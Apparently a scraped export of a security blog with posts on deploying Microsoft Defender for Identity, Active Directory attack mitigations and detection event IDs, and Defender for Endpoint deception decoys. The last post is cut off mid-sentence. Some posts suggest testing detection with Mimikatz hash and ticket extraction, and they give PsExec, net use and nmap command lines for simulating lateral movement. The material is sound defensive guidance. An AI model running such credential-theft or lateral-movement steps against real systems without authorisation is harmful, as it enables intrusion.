for proactive threat detection","type":"posts"},{"content":" New blogpost and version Defender for Identity Refer to the new version: Microsoft Defender for Identity guide v3.x\nIntroduction In today’s digital landscape, protecting your organization’s identity infrastructure is more critical than ever. Microsoft Defender for Identity is a robust cloud-based security solution designed to safeguard your on-premises Active Directory (AD) environment. By leveraging advanced analytics and real-time monitoring, it detects and responds to identity-based threats such as credential theft and lateral movement attempts. This guide will walk you through the setup, configuration, and optimization of Microsoft Defender for Identity, ensuring your AD environment is secure and resilient against modern cyber threats.\nWhat is Microsoft Defender for Identity? Microsoft Defender for Identity is a cloud-based security solution that provides advanced protection for your on-premises Active Directory (AD) environment. It detects and analyzes identity-based attacks, such as credential theft and lateral movement attempts, and helps you respond quickly by correlating AD signals with cloud analytics.\nKey Features Real-time Monitoring: Detect suspicious activities, such as Pass-the-Hash, Pass-the-Ticket, and other credential theft techniques Behavioral Analytics: Use machine learning to understand the typical behavior of users and entities and flag anomalies Cloud Integration: Integrates with Microsoft 365 Defender for a unified security management experience Prerequisites for Microsoft Defender for Identity Setup Microsoft now offers a new sensor deployment method without installation, but for full control and compatibility, the classic sensor install remains the preferred approach.\nLicensing License Type Description Enterprise Mobility + Security E5 (EMS E5/A5) Comprehensive security suite for enterprise environments Microsoft 365 E5 (Microsoft E5/A5/G5) Includes advanced security, compliance, and collaboration tools Microsoft 365 E5/A5/G5/F5 Security Focused on security and compliance features Microsoft 365 F5 Security + Compliance Requires Microsoft 365 F1/F3 or Office 365 F3 and EMS E3 Standalone Defender for Identity License Specific license for Defender for Identity Permissions Permission Type Description Security Administrator Required to create and manage the Defender for Identity workspace Directory Service Account Read access to all objects in the monitored domains Supported Operating Systems Operating System Description Windows Server 2012 R2 Minimum supported version – functional but lacks modern hardening Windows Server 2016 Recommended minimum – better performance and supportability Windows Server 2019 Fully supported – enhanced telemetry and sensor performance Windows Server 2025 Latest supported version – includes newest security capabilities Sensor Requirements Requirement Description RAM Minimum 6 GB (8 GB recommended for high-load environments) CPU Minimum 2 cores (dedicated preferred) Disk Space At least 6 GB free (10 GB recommended to account for logs and telemetry buffer) Network Outbound access to *.atp.azure.com over TCP/443 required .NET Framework Version 4.7 or higher must be installed Time Synchronization Clock skew must be less than 5 minutes from domain controllers Connectivity Requirements Port(s) Description 443 (TCP) Outbound communication with Microsoft Defender for Identity cloud (*.sensorapi.atp.azure.com) (learn.microsoft.com) 389 (TCP/UDP) LDAP communication with Domain Controllers 636 (TCP) Secure LDAPS communication (optional, if enabled) 3268 (TCP) LDAP to Global Catalog (unencrypted) 3269 (TCP) LDAPS to Global Catalog (secure) 53 (TCP/UDP) DNS lookups (including reverse lookups for asset correlation) 88 (TCP/UDP) Kerberos authentication communication 135 (TCP) RPC endpoint mapper for NTLM-over-RPC name resolution 445 (TCP/UDP) SMB/CIFS/SAM-R for NetLogon and lateral movement path detection UDP 137 NetBIOS name resolution (one option for NNR) TCP 3389 RDP handshake packet for network name resolution (NNR) UDP 1813 RADIUS communication (if using RADIUS logs or workflows) 444 (TCP, localhost) Local sensor updater service communication Pre-Checks and New Defender for Identity Module Before starting the installation, ensure that your environment meets all prerequisites. Microsoft provides a PowerShell module to help automate the configuration processes for domains, domain controllers, and other sensor servers.\nInstalling the DefenderForIdentity Module:\nPowerShellInstall-Module -Name DefenderForIdentity Importing the Module:\nPowerShellImport-Module DefenderForIdentity Testing Configuration:\nPowerShellTest-MDIConfiguration -Mode LocalMachine -Configuration All (this is just to check the configuration – a False will be given as you don’t have anything installed at this point, but we’ll continue this in step 6)\nStep-by-Step Installation of Defender for Identity Step 1: Create a gMSA for the Sensor Defender for Identity requires a Group Managed Service Account (gMSA). This account ensures the necessary access permissions for monitoring AD activity.\nhttps://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/getting-started-with-group-managed-service-accounts\nPowerShell# Create KDS root key for the gMSA (if not existing) Add-KdsRootKey -EffectiveImmediately # Create the universal group (if needed) New-ADGroup -Name \u0026#34;MdiSvcAccountGroup\u0026#34; -GroupScope Universal -GroupCategory Security # Create the gMSA account, specifying the group as PrincipalsAllowedToRetrieveManagedPassword New-ADServiceAccount -Name \u0026#34;MdiSvcAccount\u0026#34; -DNSHostName \u0026#34;yourdomain.com\u0026#34; -KerberosEncryptionType AES256 -PrincipalsAllowedToRetrieveManagedPassword \u0026#34;MdiSvcAccountGroup\u0026#34; -ManagedPasswordIntervalInDays 30 # Add the gMSA to the group Add-ADGroupMember -Identity \u0026#34;MdiSvcAccountGroup\u0026#34; -Members \u0026#34;MdiSvcAccount$\u0026#34; # Verify the gMSA account Test-ADServiceAccount -Identity \u0026#34;MdiSvcAccount\u0026#34; Make sure to add Log on as a service user rights on the servers added to MDI, otherwise the service(s) won’t start and will error in the Eventviewer.\nStep 2: Add the gMSA in the Defender for Identity Portal Go to the Microsoft 365 Defender portal Navigate to Settings \u0026gt; Identities \u0026gt; Directory services accounts Enter the account name and domain, then select Save Step 3: Download and Install the Defender for Identity Sensor Download the sensor installer from the Microsoft Defender portal through Settings \u0026gt; Identities \u0026gt; Sensor \u0026gt; Add Sensor Install the sensor on your domain controllers. This can be done either through the GUI or silently using PowerShell GUI Installation:\nRun the installer Follow the on-screen steps to choose the installation path Enter the access key provided in the portal Silent Installation:\nUse this PowerShell script to automate the installation:\n.\\Azure ATP sensor Setup.exe /quiet AccessKey=\u0026#34;YOUR-ACCESS-KEY\u0026#34; Step 4: Validate Sensor Installation After installation, ensure the sensor is communicating with the Defender for Identity cloud service:\nOpen the Microsoft 365 Defender portal and navigate to Settings \u0026gt; Identities Verify the sensor’s status, ensuring it shows as “Connected” or “Running” Post-Configuration Setup Step 5: Validating Defender for Identity configuration To continue on the early steps you’ve taken on the MDI powershell script, you can now use it to check if the installation is succesful and/or you need to have (more) logging enabled as mentioned in step 6 or 7 (prefer step 7 – as it can directly set all the configuration FOR you).\nRunning the script:\nPowerShellNew-MDIConfigurationReport -Path \u0026#34;C:\\Reports\u0026#34; -OpenHtmlReport Lot of failed checks? Move over to step 6 or 7\nStep 6: Configuring Audit Policies (semi-manual way) Defender for Identity requires specific audit policies to be enabled on domain controllers. You can apply these settings using Group Policy Objects (GPOs) or PowerShell.\nhttps://learn.microsoft.com/en-us/defender-for-identity/deploy/configure-windows-event-collection\nRequired Audit Events:\nAudit Policy Event ID Description Logon Success/Failure 4624 A successful logon event Logon Success/Failure 4625 A failed logon event Account Logon Success/Failure 4776 The computer attempted to validate credentials Logoff Success 4634 The user has logged off Special Logon 4672 A privileged user has logged on Process Creation 4688 A process has been created Directory Service Access 4662 Permissions were requested for an object in AD Account Creation 4720 A user account was created Account Deletion 4726 A user account was deleted Privilege Use 4673 A privilege service was called Privilege Use 4674 A privilege operation was performed PowerShell commands to apply Audit Policies:\n# Enforce logon auditing auditpol /set /subcategory:\u0026#34;Logon/Logoff\u0026#34; /success:enable /failure:enable # Enable account logon auditing auditpol /set /subcategory:\u0026#34;Account Logon\u0026#34; /success:enable /failure:enable Step 7: Automate the configuration with PowerShell Microsoft provides a PowerShell script to automate the configuration of audit policies and other settings, which you’ve used above. You can use this script to automatically all the correct ACL’s and logging.\nRunning the Configuration Script:\nPowerShellSet-MDIConfiguration -Mode Domain -Configuration AdfsAuditing Set-MDIConfiguration -Mode Domain -Configuration AdvancedAuditPolicyCAs Set-MDIConfiguration -Mode Domain -Configuration AdvancedAuditPolicyDCs Set-MDIConfiguration -Mode Domain -Configuration CAAuditing Set-MDIConfiguration -Mode Domain -Configuration ConfigurationContainerAuditing Set-MDIConfiguration -Mode Domain -Configuration DomainObjectAuditing Set-MDIConfiguration -Mode Domain -Configuration NTLMAuditing Set-MDIConfiguration -Mode Domain -Configuration ProcessorPerformance Step 8: Re-check the configuration PowerShellNew-MDIConfigurationReport -Path \u0026#34;C:\\Reports\u0026#34; -OpenHtmlReport Testing the Environment Simulating Attacks To verify that Microsoft Defender for Identity is properly configured, simulate common attacks like Pass-the-Hash or Brute-force. Use the Mimikatz tool to extract NTLM hashes and attempt unauthorized access.\nSimulating Pass-the-Ticket Attack:\nUse a tool like Mimikatz to extract a Kerberos ticket from a compromised host Inject the ticket into another session to simulate lateral movement Validating Detection:\nCheck the Defender for Identity portal for alerts related to the simulated attack. The detection process should identify the Pass-the-Ticket activity and flag the suspicious behavior.\nAdditional Configurations: AD FS, AD CS, and Entra Connect Although Defender for Identity’s primary focus is monitoring Active Directory, it also supports integrating AD FS, AD CS, and Entra Connect for comprehensive identity protection.\nAD FS Integration To monitor AD FS (Active Directory Federation Services) for suspicious authentication events:\nInstall the Defender for Identity sensor on the AD FS server Enable verbose auditing on AD FS using PowerShell: PowerShellSet-AdfsProperties -AuditLevel Verbose Configure read permissions for the AD FS database: SQL\n-- Grant read permissions to the Directory Service Account GRANT SELECT ON [AdfsConfiguration] TO [domain\\gMSA$]; AD CS Integration Configure AD CS (Active Directory Certificate Services) to monitor certificate-based authentications:\nEnable auditing on the AD CS server: auditpol /set /subcategory:\u0026#34;Certification Services\u0026#34; /success:enable /failure:enable Install the Defender for Identity sensor on the AD CS server Entra Connect Sensor To monitor Microsoft Entra Connect, ensure that:\nEntra Connect version 2.0 or higher is installed Install the Entra Connect Sensor on the Entra Connect server to capture authentication events between on-prem AD and Azure AD Event IDs to Monitor Defender for Identity relies on key event IDs to detect suspicious behavior. Here’s a list of the most critical ones:\nComponent Event ID Description Kerberos TGT Request 4768 Ticket-granting ticket (TGT) request received AD FS Authentication 1200 AD FS authentication Defender for Identity learning period Microsoft Defender for Identity (MDI) uses a learning period to understand the typical behavior patterns within your network. This period is crucial for fine-tuning the detection capabilities, ensuring that alerts are both accurate and relevant. By establishing a baseline of normal activities, MDI can more effectively identify anomalies and potential security threats.\nSource Type Learning Period Active Directory (AD) 30 days Network Traffic 30 days User and Entity Behavior 30 days NTLM Authentication 30 days Kerberos Authentication 30 days Defender for Identity security posture recommendations Microsoft released impressive updates to the Microsoft Defender for Identity posture recommendations, check out my previous blog post and make sure to walk through the findings:\nRelated: Maximizing security with Microsoft Defender for Identity\nConclusion Microsoft Defender for Identity offers comprehensive protection for on-premises Active Directory environments, leveraging advanced threat detection and behavioral analytics. This guide provides a clear, step-by-step process for deploying and configuring the solution, along with testing mechanisms to ensure proper functionality. By integrating it with AD FS, AD CS, and Entra Connect, organizations can achieve complete identity security monitoring across their hybrid environments.\n","date":"2 September 2024","externalUrl":null,"permalink":"/install-microsoft-defender-for-identity/","section":"All articles","summary":"","title":"How-to install guide for Microsoft Defender for Identity","type":"posts"},{"content":" What is Microsoft Defender for Identity? Microsoft Defender for Identity is a robust, cloud-based security solution designed to safeguard your organization’s on-premises Active Directory (AD) and cloud identities. Leveraging signals from both environments, it identifies, detects, and investigates advanced threats, compromised identities, and malicious insider actions. Formerly known as Azure Advanced Threat Protection (Azure ATP), it integrates seamlessly with Microsoft Defender XDR to provide comprehensive identity threat detection and response (ITDR) capabilities.\nIn today’s cybersecurity landscape, identity-based attacks are increasingly common. Hackers frequently exploit identity vulnerabilities to gain unauthorized access, move laterally within networks, and escalate privileges. These techniques are not only prevalent in real-world attacks but also regularly encountered during red teaming engagements, where security professionals simulate attacks to test an organization’s defenses. Microsoft Defender for Identity is specifically designed to counter these sophisticated threats, providing organizations with the tools they need to protect their identities and maintain robust security postures.\nWhat’s New in Microsoft Defender for Identity? October 2024: Enhanced threat detection capabilities In October 2024, Microsoft Defender for Identity introduced enhanced threat detection capabilities. These updates include improved machine learning algorithms for detecting lateral movement and credential theft, as well as new integrations with Microsoft Sentinel for more robust incident response.\nAugust 2024: New Entra Connect Sensor In August 2024, a new Entra Connect sensor was introduced to enhance coverage in hybrid identity environments. This update also included new hybrid security detections and identity posture recommendations.\nJuly 2024: Identity Posture insights Released in July 2024, the Identity Posture Insights feature provides detailed assessments of an organization’s identity security posture, including recommendations for improving security configurations and reducing the attack surface.\nDetailed overview of Identity Posture recommendations October 2024 Accounts with non-default primary group id: Identifies accounts with a primary group ID that is not the default, which can be a sign of misconfiguration or potential security risk. Change domain controller computer account old password: Recommends changing the old password for domain controller computer accounts to prevent unauthorized access. GPO assigns unprivileged identities to local groups with elevated privileges: Detects Group Policy Objects (GPOs) that assign unprivileged identities to local groups with elevated privileges, which can be exploited by attackers. GPO can be modified by unprivileged accounts: Identifies GPOs that can be modified by unprivileged accounts, posing a significant security risk. Reversible passwords found in GPOs: Alerts on GPOs that store passwords in a reversible format, which can be easily compromised. Built-in Active Directory guest account is enabled: Detects if the built-in AD Guest account is enabled, which can be a security vulnerability. Unsafe permissions on the DnsAdmins group: Identifies unsafe permissions on the DnsAdmins group, which can be exploited to gain elevated privileges. Ensure all privileged accounts have the configuration flag “This Account is sensitive and cannot be delegated”: Recommends ensuring that all privileged accounts have this configuration flag set to prevent delegation attacks. Change password of krbtgt account: Advises changing the password of the krbtgt account to mitigate the risk of Kerberos ticket-granting ticket (TGT) attacks. August 2024 Rotate password for Entra Connect Connector account: Recommends changing the password of MSOL accounts with the password last set over 90 days ago to prevent unauthorized access. Remove unnecessary replication permissions for Entra Connect account: Advises removing unnecessary permissions to reduce the potential attack surface. Change password for Entra Seamless SSO account configuration: Lists all Entra seamless SSO computer accounts with passwords last set over 90 days ago and recommends changing them to prevent lateral movement attacks. Suspicious interactive logon to the Entra Connect server: Detects unusual and potentially malicious direct logins to Entra Connect servers. July 2024 Lateral movement path analysis: Identifies potential paths attackers could use to move laterally within the network. Security configuration assessments: Evaluates current security settings and suggests improvements. User Behavior Analytics: Monitors user activities to detect anomalies that could indicate compromised identities. Updated October 2024 screenshot with the latest recommendations Prerequisites for Microsoft Defender for Identity Before deploying Microsoft Defender for Identity, ensure the following prerequisites are met:\nLicensing requirements: One of the following Microsoft 365 licenses is required: Enterprise Mobility + Security E5 (EMS E5/A5) Microsoft 365 E5 (Microsoft E5/A5/G5) Microsoft 365 E5/A5/G5/F5 Security Microsoft 365 F5 Security + Compliance A standalone Defender for Identity license. Required permissions: At least one Security administrator access on your Microsoft Entra ID tenant. Connectivity requirements: The Defender for Identity sensor must communicate with the Defender for Identity cloud service via proxy, ExpressRoute, or firewall configurations. System requirements: Ensure the servers where the sensors will be installed meet the necessary specifications. How to Deploy the New Features in Microsoft Defender for Identity (check out my new blog post for an extensive overview on how to install the Defender for Identity Sensor or Entra Connector sensor – below is just a quick summary)\nDeployment via Entra Connector Sensor Install the Entra Connector sensor: Download the Entra Connector Sensor from the Microsoft Defender for Identity portal. Download and run the installer and follow the on-screen instructions to complete the installation. Configure the sensor: Open the Entra Connector Sensor configuration tool. Enter the required credentials and configuration settings. Save the configuration and start the sensor. Verify deployment: Log in to the Microsoft Defender for Identity portal. Navigate to the Sensors page and verify that the Entra Connector Sensor is active and reporting data. Configure logging and event logs: Ensure that the necessary Windows event logs are being collected. Configure Advanced Audit Policy settings to ensure these events are logged correctly. Deployment via Defender for Identity Access the Defender for Identity portal: Log in to the Microsoft Defender for Identity portal. Configure Identity sensors: Navigate to the Sensors page. Click on “Add Sensor” and select the appropriate sensor type. Follow the on-screen instructions to configure the sensor settings. Monitor and manage sensors: Once configured, monitor the sensor status and data flow from the Sensors page. Ensure that all sensors are active and reporting data correctly. Configure logging and event logs: Ensure that the necessary Windows event logs are being collected. Configure Advanced Audit Policy settings to ensure these events are logged correctly. Review and troubleshoot logs: The Defender for Identity sensor logs are located in the installation directory, typically at C:\\Program Files\\Azure Advanced Threat Protection Sensor\\Logs. Key logs include: Microsoft.Tri.Sensor.log (contains overall status and operations), Microsoft.Tri.Sensor-Errors.log (contains error logs for troubleshooting), Microsoft.Tri.Sensor.Updater.log (logs related to sensor updates). Configuration steps for Microsoft Defender for Identity View and configure sensor settings: Navigate to Settings \u0026gt; Identities \u0026gt; Sensors in the Microsoft Defender XDR portal. Configure sensor details such as domain controllers, network adapters, and update settings. Set up directory service accounts: Add Directory Service Accounts with read access to all objects in the monitored domains. Enable advanced features: Enable features like sensitive accounts monitoring, alert notifications, and syslog integration for enhanced security. Post-Deployment Steps After deploying Microsoft Defender for Identity, follow these steps to ensure optimal performance and security:\nRegularly review security posture: Use the Identity Posture Insights feature to regularly review and improve your organization’s identity security posture.\nVerify sensor health: Regularly check the health status of all deployed sensors in the Microsoft Defender for Identity portal.\nConfigure alerts and notifications: Set up alerts and notifications for suspicious activities and potential threats.\nIntegrate with other security tools: Integrate Defender for Identity with other Microsoft security tools like Microsoft Sentinel and Microsoft Defender for Endpoint for comprehensive threat detection and response.\nConclusion Microsoft Defender for Identity is a powerful tool for protecting your organization’s identities and reducing the attack surface. With its advanced threat detection capabilities, proactive security posture assessments, and automated response features, it helps organizations stay ahead of potential threats. By deploying the latest features through the Entra Connector Sensor or directly via Defender for Identity, you can ensure comprehensive protection for your identity infrastructure.\nChangelog July 2024 – initial blog post October 2024 – updates to new recommendations ","date":"8 August 2024","externalUrl":null,"permalink":"/microsoft-defender-for-identity-posture/","section":"All articles","summary":"","title":"Maximizing security with Microsoft Defender for Identity","type":"posts"},{"content":"Active Directory (AD) is the backbone of identity and access management for most enterprises, making it a prime target for cyberattacks. As a crucial part of managing permissions, users, and systems within a network, securing Active Directory is essential for cybersecurity. When compromised, AD can give attackers control over the entire network, leading to data theft, espionage, or ransomware attacks.\nIn a previous blog post, I discussed the deprecation of NTLM by Microsoft. However, NTLM is not the only aspect of Active Directory that can be exploited. There are several other vulnerabilities within Active Directory that require attention.\nIn this guide, we’ll explore common Active Directory attack techniques, outline mitigations that significantly reduce risk, and provide detection mechanisms (including Event IDs) for early threat identification. Additionally, we’ll discuss some popular tools that can help you monitor and protect your AD environment effectively.\nWhy Active Directory is a key target for cyberattacks Active Directory handles centralized authentication and authorization services, controlling access to both on-premises and cloud-based resources like Microsoft Azure. Compromising AD allows attackers to:\nEscalate privileges and impersonate high-privilege accounts. Move laterally across systems, gaining access to sensitive data. Maintain persistence in the network, bypassing multi-factor authentication (MFA). Compromise cloud environments through connected services. Without proper security measures, an AD compromise can result in serious consequences, including ransomware attacks, data breaches, and long-term espionage.\nCommon Active Directory attack techniques, mitigations, and detection Securing Active Directory involves implementing strong defenses against attack techniques used by malicious actors. Below, we describe these techniques, provide detailed mitigations, and outline the tools you can use to bolster AD security.\n1. Kerberoasting: exploiting service accounts Attack Overview:\nKerberoasting exploits service principal names (SPNs) tied to service accounts. Attackers request a Kerberos service ticket and attempt to crack it offline to obtain the service account’s password, often giving them high-level privileges.\nSource: ASD / ACSCMitigations:\nMinimize the use of SPNs: Only use SPNs for services where absolutely necessary. Reducing the number of service accounts with SPNs will limit the attack surface for Kerberoasting. Use gMSAs (Group Managed Service Accounts): These accounts provide long, complex passwords that rotate automatically. Tools like Microsoft LAPS (Local Administrator Password Solution) can help manage this process. Enforce strong password policies: Service accounts should have at least 30-character passwords, with a mix of random letters, numbers, and symbols. Restrict service account privileges: Ensure service accounts are not members of highly privileged groups like Domain Admins unless absolutely necessary. Tools for Mitigation:\nBloodHound: Helps identify and analyze AD relationships, including SPNs and potentially vulnerable service accounts. Microsoft LAPS: Manages password complexity and rotation for local admin accounts and gMSAs. Detection Mechanisms:\nEvent ID Description 4769 TGS ticket requests; look for numerous requests in a short timeframe, especially with RC4 encryption. 4738 / 5136 Detects modifications to user accounts, particularly changes to SPNs. 2. AS-REP Roasting: targeting accounts without pre-authentication Attack Overview:\nAS-REP Roasting targets accounts that do not require Kerberos pre-authentication, allowing attackers to obtain an encrypted ticket that can be cracked offline to reveal the account’s password.\nSource: ASD / ACSCMitigations:\nEnforce Kerberos pre-authentication: Ensure all accounts require pre-authentication, which prevents attackers from requesting an encrypted ticket. Use strong passwords: Accounts that need to bypass pre-authentication should still have strong, randomly generated passwords (15+ characters). Tools for Mitigation:\nPingCastle: Provides a security report for AD environments, including checks for weak configurations such as accounts without pre-authentication. Detection Mechanisms:\nEvent ID Description 4768 Detects TGT requests; monitor accounts that bypass pre-authentication. 4625 Monitors failed logons targeting pre-authentication-disabled accounts. 3. Password Spraying: exploiting weak password policies Attack Overview:\nPassword spraying involves trying commonly used passwords (e.g., “Password123”) across many accounts, attempting to gain access without triggering account lockouts.\nMitigations:\nImplement strong password policies: Passwords should be long (15+ characters) and unpredictable, such as passphrases consisting of random words. Use Multi-Factor Authentication (MFA): Implement MFA for all accounts, especially privileged ones. This adds an extra layer of security that password spraying alone cannot bypass. Set account lockout thresholds: Configure lockouts after a certain number of failed logon attempts (e.g., five). Ensure that administrators are alerted when an account is locked. Disable NTLM: Since NTLM (an older protocol) doesn’t support MFA, it should be disabled in favor of Kerberos. Tools for Mitigation:\nMicrosoft Defender for Identity: Detects and investigates attacks targeting AD, including password spraying. DomainPasswordSpray: A testing tool to simulate password spraying attacks and test your AD’s defenses. Detection Mechanisms:\nEvent ID Description 4625 Failed logons; a high volume of failed attempts over a short period could indicate password spraying. 4740 Detects account lockouts; sudden spikes may suggest a password spraying attack. 2889 Tracks unsigned LDAP binds, which attackers might use for password spraying. 4. MachineAccountQuota exploitation: abuse of default settings Attack Overview:\nBy default, AD allows users to create up to 10 machine accounts. Attackers can exploit this to escalate privileges or move laterally within the network.\nSource: ASD / ACSCMitigations:\nSet MachineAccountQuota to zero: Prevent non-administrators from creating machine accounts by configuring the MachineAccountQuota setting to zero. Audit permissions regularly: Regularly review permissions for the Domain Computers group and ensure no excessive privileges are granted. Enable LDAP signing: LDAP signing ensures secure communication between AD and LDAP clients, reducing the risk of attacks that abuse this default setting. Tools for Mitigation:\nPingCastle: Detects misconfigurations like MachineAccountQuota abuse. Purple Knight: An AD security tool that identifies weaknesses in your AD configuration. Detection Mechanisms:\nEvent ID Description 4741 Tracks the creation of new computer objects. Non-administrative user activity creating accounts may indicate abuse. 5. Unconstrained Delegation: exploiting privileged accounts Attack Overview:\nAttackers exploit unconstrained delegation to impersonate user accounts, particularly privileged users, by extracting their Kerberos tickets from memory. This often gives them Domain Admin-level access.\nMitigations:\nDisable unconstrained delegation: Replace it with resource-based constrained delegation, which limits impersonation rights. Mark privileged accounts as non-delegatable: Ensure accounts like Domain Admins and sensitive user accounts cannot be delegated by setting them as “sensitive.” Disable the Print Spooler service on Domain Controllers: This prevents attackers from using PrintNightmare-type vulnerabilities to exploit unconstrained delegation. Tools for Mitigation:\nBloodHound: Detects systems configured for unconstrained delegation and helps analyze attack paths involving Kerberos tickets. Microsoft Defender for Identity: Identifies suspicious activity involving delegation and privilege escalation. Detection Mechanisms:\nEvent ID Description 4624 Successful logons; unusual logons to systems with unconstrained delegation may indicate abuse. 4104 PowerShell execution; monitor for scripts related to unconstrained delegation exploitation. 6. Active Directory Certificate Services (AD CS) compromise: exploiting misconfigured certificates Attack Overview:\nMisconfigured Active Directory Certificate Services (AD CS) allow attackers to issue certificates that can impersonate any user, including privileged ones.\nMitigations:\nHarden AD CS configurations: Remove vulnerable certificate templates, especially those that allow user-supplied subject alternative names (SANs). Restrict who can modify templates: Limit certificate template modifications to only authorized personnel to prevent exploitation. Use Hardware Security Modules (HSMs): HSMs protect the private keys of the CA, preventing attackers from extracting sensitive information. Tools for Mitigation:\nCertify: A tool that helps security teams identify misconfigured AD CS templates. PSPKIAudit: An open-source tool to audit your AD Certificate Services for vulnerabilities. Detection Mechanisms:\nEvent ID Description 4887 Tracks the issuance of certificates; suspicious certificates or SAN requests should be investigated. 4876 Backup of CA databases; unauthorized backups may indicate an attempt to exfiltrate sensitive certificate data. The importance of proactive monitoring and early detection Mitigating Active Directory attacks is crucial, but early detection can significantly reduce the damage caused by a compromise. Implementing robust monitoring tools and setting up alerts for unusual behavior ensures that potential breaches are caught quickly.\nTrack security events: Regularly review event logs for password changes, Kerberos ticket requests, and privilege escalations. Monitor Kerberos tickets: Identify any unusual patterns in service ticket requests, especially those targeting high-privilege accounts. Log PowerShell activity: Many attackers use PowerShell for post-exploitation activities, making it essential to monitor scripts for suspicious behavior. Defender for Identity Security Posture Recommendations Microsoft recently released a tons of new posture recommendation, also for Microsoft Defender for Identity, which covers the majority of the attacks mentioned above.\nTake a look at the blog post here:\nhttps://www.modernsecurity.nl/microsoft-defender-for-identity-posture/\nFinal thoughts on Active Directory security Securing Active Directory is essential for maintaining the overall security posture of your enterprise. By understanding common attack techniques, implementing mitigations, using the right tools, and employing effective detection mechanisms, organizations can significantly reduce their attack surface and improve cyber resilience. Stay proactive in monitoring your AD environment and regularly audit its security configurations to maintain control and prevent potential compromises.\n","date":"10 July 2024","externalUrl":null,"permalink":"/detecting-mitigating-active-directory-compromises/","section":"All articles","summary":"","title":"Detecting and mitigating Active Directory compromises","type":"posts"},{"content":" Introduction to Microsoft Defender for Endpoint (MDE) Endpoint Deception Capability Microsoft Defender for Endpoint (MDE) introduces Endpoint Deception, an advanced security feature designed to detect and deter cyber threats by deploying deceptive elements within an organization’s network. These elements, including decoy accounts, hosts, and lures, appear valuable to attackers but are actually traps that trigger alerts upon interaction.\nWhy is Deception in MDE important? Attackers rely on reconnaissance techniques to identify valuable assets before launching attacks. By integrating deceptive elements into an environment, organizations can detect potential threats early and mitigate risks before they escalate. This proactive approach enhances defenses against advanced persistent threats (APTs), ransomware, and lateral movement tactics.\nBenefits of Endpoint Deception in MDE Benefit Description Early threat detection Decoys expose attackers before an actual breach occurs, allowing teams to react faster. Minimal false positives Since legitimate users do not access decoys, deception alerts have high accuracy. Lateral movement Iidentification Decoys placed in different segments track unauthorized access attempts across networks. Enhanced threat intelligence Security teams gain insights into attacker techniques, supporting better detection rules. Seamless integration Works natively with Microsoft Defender for Endpoint and Microsoft Sentinel for improved incident response. Prerequisites and Licensing for MDE Endpoint Deception Licensing overview Component Licensing Requirement Microsoft Defender for Endpoint Defender for Endpoint Plan 2 Microsoft 365 E5 / Security E5 Required for full deception capabilities Microsoft Entra Integration Devices must be joined or hybrid joined Supported platforms and configuration requirements Supported Operating Systems: Windows 10 RS5 (version 1809) and later PowerShell: Must be enabled for endpoint decoy management Microsoft Entra integration: Required for full Endpoint Deception support Required role permissions: Global Administrator or Security Administrator Enabling the Deception Capability in MDE Open the Microsoft Defender Portal and sign in with administrator credentials Enable Deception in Advanced Features: Navigate to Settings \u0026gt; Endpoints \u0026gt; Advanced Features Locate Deception and toggle it On Click Save preferences Configuring Basic Lures and Decoys Steps to configure Basic Lures and Decoys Navigate to Settings \u0026gt; Endpoints \u0026gt; Deception Rules\nFirst disable the Default deception rule (recommended)\nClick Add deception rule\nProvide a name and description\nSelect Basic Lures (good one to start with):\nAssign the deception rule to all devices or specific tagged devices: Leave the prefilled Decoys and Hosts as-is (this is generated by Microsoft based on Company information like users and known hosts: Use autogenerated lures (in the chapter I will cover the custom setup): Click Next, review settings, and deploy: Configuring Advanced Lures (more control and flexibility) Steps to configure Advanced Lures Navigate to Settings \u0026gt; Endpoints \u0026gt; Deception Rules\nClick Add deception rule\nProvide a name and description\nSelect Basic Lures and Advanced Lures:\nAssign the deception rule to all devices or specific tagged devices: Click Add new and enter fake usernames or hostnames e.g. (you can leave it pre-filled as before / In my example I add custom ones for the sake of the demo): finance.admin (Decoy account) administration (Decoy host) Use custom lures only (this is for deploying custom crafted information): Select the custom lures like documents, password files, some tempting information that could be attractive for a hacker (and specify to be hidden). You can also use Honeytokens or Canary’s here: Review and save: Now wait for the lures to get deployed (this can take a while) Tools and Techniques for Testing Endpoint Deception Simulating Lateral Movement with PsExec PsExec.exe \\\\devicename -u hr.admin -p FakePassword cmd.exe Validates if deception alerts trigger when lateral movement is attempted\nSimulating Unauthorized Decoy Account Access net use \\\\devicename\\C$ /user:hr.admin FakePassword Checks for unauthorized login alerts in Defender\nSimulating Network Reconnaissance nmap -sV -Pn corpfinance-01.hostname.xx Tests for network scanning detection\nIntegrating MDE Decoy alerts with Microsoft Sentinel Setting up Data Connectors Enable Microsoft Defender for Endpoint in Sentinel Enable Microsoft Defender for Identity for tracking Active Directory decoys Create custom analytic rules to map deception alerts into Sentinel dashboards Sentinel KQL Query for Decoy Alerts SecurityAlert| where ProviderName == \u0026#34;MDATP\u0026#34;| where AlertName contains \u0026#34;deceptive\u0026#34; or AlertName contains \u0026#34;Decoy\u0026#34;| project TimeGenerated, AlertName, CompromisedEntity, AlertSeverity, Tactics, Techniques, Entities, AlertLink| order by TimeGenerated desc Detects all deception-related alerts from Defender for Endpoint\nAutomating Response with Sentinel Playbooks Isolate compromised devices using Defender API and/or playbooks Trigger an incident response ticket in Sentinel Send alerts to security teams Additional Resources https://learn.microsoft.com/en-us/defender-xdr/deception-overview\nhttps://learn.microsoft.com/en-us/shows/microsoft-sentinel-defender-xdr-virtual-ninja-training/microsoft-defender-for-endpoint-deception\nConclusion Microsoft Defender for Endpoint’s Endpoint Deception capability enhances security by detecting threats early, preventing lateral movement, and providing high-confidence alerts. Integrating deception tactics with Microsoft Sentinel strengthens incident response and threat intelligence.\n","date":"28 June 2024","externalUrl":null,"permalink":"/mde-endpoint-deception/","section":"All articles","summary":"","title":"Microsoft Defender for Endpoint (MDE) Endpoint Deception capability for Advanced Threat Detection","type":"posts"},{"content":" Introduction Microsoft deprecates NTLM (New Technology LAN Manager) and recommends transitioning to Kerberos as the primary authentication protocol. Kerberos is known for its enhanced cryptography and server authentication capabilities compared to NTLM.\nhttps://aka.ms/ntlm\nWith the deprecation of NTLM, the method of cracking NTLM hashes from Active Directory will become obsolete. Kerberos uses different mechanisms for authentication which do not rely on the same type of vulnerable hashing as NTLM. Therefore, the techniques used to crack NTLM hashes will not be applicable to Kerberos authentication traffic.\nThe transition to Kerberos is part of Microsoft’s effort to improve security. NTLM has been known for its vulnerabilities, including weak encryption algorithms like MD4 and DES, making it susceptible to brute-force attacks. Kerberos, on the other hand, provides a more secure authentication method that is less prone to such attacks.\nAs Microsoft deprecates NTLM, organizations and individuals who are involved in security testing or ethical hacking will need to update their skills and tools to work 